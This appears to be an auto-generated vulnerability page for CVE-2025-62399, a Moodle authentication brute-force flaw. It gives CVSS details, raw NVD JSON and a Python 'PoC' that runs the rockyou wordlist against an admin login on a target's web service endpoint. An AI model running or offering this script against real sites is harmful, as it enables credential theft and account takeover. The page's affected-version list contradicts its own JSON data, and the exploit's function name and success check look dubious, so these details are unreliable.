Security Vulnerability Report
中文
CVE-2025-62399 CVSS 7.5 HIGH

CVE-2025-62399

Published: 2025-10-23 12:15:33
Last Modified: 2025-11-14 19:09:36

Description

Moodle’s mobile and web service authentication endpoints did not sufficiently restrict repeated password attempts, making them susceptible to brute-force attacks.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:* - VULNERABLE
Moodle LMS < 4.1.30
Moodle LMS < 4.5.6
Moodle LMS < 5.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62399 Moodle Brute Force Authentication Bypass PoC import requests import sys import time TARGET_URL = "https://target-server.com/webservice/rest/server.php" USERNAME = "admin" PASSWORD_FILE = "rockyou.txt" def brute_force_attack(): """Attempt brute force attack on Moodle authentication endpoint""" with open(PASSWORD_FILE, 'r', encoding='utf-8', errors='ignore') as f: passwords = f.readlines() for password in passwords: password = password.strip() data = { 'wstoken': '', # Webservice token 'wsfunction': 'core_authenticate', # Authentication function 'moodlewsrestformat': 'json', 'username': USERNAME, 'password': password } try: response = requests.post(TARGET_URL, data=data, timeout=10) result = response.json() # Check for successful authentication if 'token' in result or result.get('error') is None: print(f"[!] Valid credentials found: {USERNAME}:{password}") return True else: print(f"[*] Attempt failed: {password}") except Exception as e: print(f"[!] Error: {e}") continue print("[-] No valid credentials found") return False if __name__ == "__main__": print("CVE-2025-62399 Moodle Authentication Brute Force PoC") brute_force_attack()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62399", "sourceIdentifier": "[email protected]", "published": "2025-10-23T12:15:32.573", "lastModified": "2025-11-14T19:09:36.380", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Moodle’s mobile and web service authentication endpoints did not sufficiently restrict repeated password attempts, making them susceptible to brute-force attacks."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.1.0", "versionEndExcluding": "4.1.21", "matchCriteriaId": "03EFB43E-5E00-4244-BAF5-460594A32DF1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.4.0", "versionEndExcluding": "4.4.11", "matchCriteriaId": "CED60CDC-8F12-481C-9ADD-8559860A2B3C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.5.0", "versionEndExcluding": "4.5.7", "matchCriteriaId": "5414437D-2D9C-4565-853F-EAF761F52E5E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:moodle:moodle:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0.0", "versionEndExcluding": "5.0.3", "matchCriteriaId": "672DBB86-D5A8-41B6-B6F3-8E323E9C21F0"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2025-62399", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2404432", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}]}}